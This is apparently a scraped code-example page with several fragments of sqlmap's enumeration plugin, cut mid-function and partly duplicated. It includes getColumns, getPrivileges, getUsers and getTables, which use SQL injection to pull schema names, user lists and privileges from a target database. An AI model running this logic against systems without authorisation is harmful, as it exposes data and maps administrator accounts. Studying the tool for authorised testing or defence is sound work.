
                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                table = {}
                columns = {}

                if dumpMode and colList:
                    count = 0
                    for value in colList:
                        columns[safeSQLIdentificatorNaming(value)] = None
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if Backend.isDbms(DBMS.MSSQL):
                            count, index, values = 0, 1, []
                            while True:
                                query = rootQuery.blind.query3 % (conf.db, tbl, index)
                                value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if isNoneValue(value) or value == " ":
                                    break
                                else:
                                    columns[safeSQLIdentificatorNaming(value)] = None
                                    index += 1

                        if not columns:
                            errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
                            errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                            logger.error(errMsg)
                            continue

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None

                    query = agent.limitQuery(index, query, field, field)
                    column = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if not isNoneValue(column):
                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].column_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get column comments"
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
                                                                conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)

                            colType = unArrayizeValue(inject.getValue(query, union=False, error=False))

                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(colType, colType)

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        if not kb.data.cachedColumns:
            warnMsg = "unable to retrieve column names for "
            warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
            logger.warn(warnMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)

        return kb.data.cachedColumns
Beispiel #42
0
    def getPrivileges(self, query2=False):
        infoMsg = "fetching database users privileges"

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "

                if Backend.isDbms(
                        DBMS.MYSQL) and kb.data.has_information_schema:
                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user)
                                         for user in sorted(users))
                else:
                    query += " OR ".join("%s = '%s'" % (condition, user)
                                         for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = "trying with table USER_SYS_PRIVS"
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            if privilege is None:
                                continue

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(
                                    privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (
                                    Backend.isDbms(DBMS.MYSQL)
                                    and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(
                                    DBMS.MYSQL
                            ) and not kb.data.has_information_schema:
                                if privilege.upper() == "Y":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In Firebird we get one letter for each privilege
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                if privilege.strip() in FIREBIRD_PRIVS:
                                    privileges.add(
                                        FIREBIRD_PRIVS[privilege.strip()])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(',')
                                privilege = privs[0]
                                if len(privs) > 1:
                                    privs = privs[1]
                                    privs = list(privs.strip())
                                    i = 1

                                    for priv in privs:
                                        if priv.upper() in ("Y", "G"):
                                            for position, db2Priv in DB2_PRIVS.items(
                                            ):
                                                if position == i:
                                                    privilege += ", " + db2Priv

                                        i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(
                            privileges.union(
                                kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable(
        ) and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = "LIKE"
            else:
                conditionChar = "="

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(
                        DBMS.MYSQL) and kb.data.has_information_schema:
                    user = "******" % user

                if Backend.isDbms(DBMS.INFORMIX):
                    count = 1
                else:
                    infoMsg = "fetching number of privileges "
                    infoMsg += "for user '%s'" % outuser
                    logger.info(infoMsg)

                    if Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.count2 % user
                    elif Backend.isDbms(
                            DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.count % (conditionChar, user)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if not retrievedUsers and Backend.isDbms(
                                DBMS.ORACLE) and not query2:
                            infoMsg = "trying with table USER_SYS_PRIVS"
                            logger.info(infoMsg)

                            return self.getPrivileges(query2=True)

                        warnMsg = "unable to retrieve the number of "
                        warnMsg += "privileges for user '%s'" % outuser
                        logger.warn(warnMsg)
                        continue

                infoMsg = "fetching privileges for user '%s'" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                          DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(
                            DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user,
                                                         index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (user, )
                    else:
                        query = rootQuery.blind.query % (user, index)

                    privilege = unArrayizeValue(
                        inject.getValue(query, union=False, error=False))

                    if privilege is None:
                        continue

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(
                            DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.upper() == 'Y':
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In Informix we get one letter for the highest privilege
                    elif Backend.isDbms(DBMS.INFORMIX):
                        privileges.add(INFORMIX_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(',')
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ('Y', 'G'):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += ", " + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = "unable to retrieve the privileges "
                    warnMsg += "for user '%s'" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = "unable to retrieve the privileges "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)
Beispiel #43
0
    def getPrivileges(self, query2=False):
        infoMsg = "fetching database users privileges"

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
                else:
                    query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = "trying with table USER_SYS_PRIVS"
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            if privilege is None:
                                continue

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == "Y":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In Firebird we get one letter for each privilege
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                if privilege.strip() in FIREBIRD_PRIVS:
                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(',')
                                privilege = privs[0]
                                if len(privs) > 1:
                                    privs = privs[1]
                                    privs = list(privs.strip())
                                    i = 1

                                    for priv in privs:
                                        if priv.upper() in ("Y", "G"):
                                            for position, db2Priv in DB2_PRIVS.items():
                                                if position == i:
                                                    privilege += ", " + db2Priv

                                        i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = "LIKE"
            else:
                conditionChar = "="

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = "******" % user

                if Backend.isDbms(DBMS.INFORMIX):
                    count = 1
                else:
                    infoMsg = "fetching number of privileges "
                    infoMsg += "for user '%s'" % outuser
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.count2 % user
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.count % (conditionChar, user)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
                            infoMsg = "trying with table USER_SYS_PRIVS"
                            logger.info(infoMsg)

                            return self.getPrivileges(query2=True)

                        warnMsg = "unable to retrieve the number of "
                        warnMsg += "privileges for user '%s'" % outuser
                        logger.warn(warnMsg)
                        continue

                infoMsg = "fetching privileges for user '%s'" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (user,)
                    else:
                        query = rootQuery.blind.query % (user, index)

                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if privilege is None:
                        continue

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace(", ", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.upper() == 'Y':
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In Informix we get one letter for the highest privilege
                    elif Backend.isDbms(DBMS.INFORMIX):
                        privileges.add(INFORMIX_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(',')
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ('Y', 'G'):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += ", " + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = "unable to retrieve the privileges "
                    warnMsg += "for user '%s'" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = "unable to retrieve the privileges "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)
Beispiel #44
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
            ("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL)
                      and not kb.data.has_information_schema)

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedUsers = []
                for value in arrayizeValue(values):
                    value = unArrayizeValue(value)
                    if not isNoneValue(value):
                        kb.data.cachedUsers.append(value)

        if not kb.data.cachedUsers and isInferenceAvailable(
        ) and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count

            count = inject.getValue(query,
                                    union=False,
                                    error=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedUsers
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1]
                                                     if kb.data.cachedUsers
                                                     else " ")
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index
                user = unArrayizeValue(
                    inject.getValue(query, union=False, error=False))

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            logger.error(errMsg)

        return kb.data.cachedUsers
Beispiel #45
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except sqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(",")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise sqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if conf.excludeSysDbs:
                    query += " WHERE "
                    query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
                    infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                    logger.info(infoMsg)
                elif not Backend.isDbms(DBMS.SQLITE):
                    query += " WHERE %s" % condition
                    query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                if len(dbs) < 2 and ("%s," % condition) in query:
                    query = query.replace("%s," % condition, "", 1)

            value = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(value):
                value = filter(None, arrayizeValue(value))

                if len(value) > 0 and not isListLike(value[0]):
                    value = map(lambda x: (dbs[0], x), value)

                for db, table in filterPairValues(value):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(table, True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

